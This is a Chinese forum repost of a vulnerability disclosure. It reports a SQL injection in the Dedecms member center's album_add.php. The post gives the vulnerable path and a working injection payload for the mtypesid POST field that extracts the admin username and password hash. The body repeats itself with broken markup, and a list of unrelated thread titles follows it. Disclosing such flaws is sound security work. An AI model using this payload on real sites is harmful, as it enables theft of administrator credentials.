Dedecms会员中心album_add.php页面SQL注入漏洞
简要描述：[p=25, null, left]注册和关注wooyun好久了，dedecms一处注入，较鸡肋，之前变量覆盖的漏洞太轰动了，所以一直没发出，之前5月份最新版本测试的，目前最新版本应该是没修复的
漏洞需要会员，所以比较鸡肋啦[/p]详细说明：[p=25, null, left]发表文章处，post表单的mtypesid可以注入
/dedecmsnew/member/album_add.php
注入的代码：
mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',
'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'
[/p][p=25, null, left]
[/p]
漏洞证明：
[p=25, null, left][/p]
漏洞需要会员，所以比较鸡肋啦[/p]详细说明：[p=25, null, left]发表文章处，post表单的mtypesid可以注入
/dedecmsnew/member/album_add.php
注入的代码：
mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',
'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'
[/p][p=25, null, left]
漏洞证明：
[p=25, null, left]
评论
发新帖
作者最近主题
相关贴子
- Web程序优化的最佳实践（服务器篇）
- seo优化百度和谷歌的差别
- 传统普通的IDC和云服务器
- 地方网站的破局 我们需要重新定义地方网站
- seo怎么优化：手把手的教你SEO优化代码
- 企业站的SEO之路：剑走偏锋 逆其道行之！
- 好看的照片
- xml页面怎么把https换回http
- 百度搜索流量要发生大变化，DZ站长使用百度熊掌号推送seo更快获得收录
- 闲鱼正式上线寄卖服务 高于市场回收价30%
- 如何利用企业网站凸显企业形象
- 你丫的，不好好建站倒卖哪门子呀！
- 原创文章写作方法技巧总结
- 搜索引擎前三位的网站是如何做优化的？
- 360 SEO与百度SEO有什么区别？
- 人人的下一步：社交面临天花板 移动处窗口期
- N年前我就是贵站的用户，无法登陆了
- 今天下雨不用去上班好家伙
- 傻X站长！
- 技术宅友链交换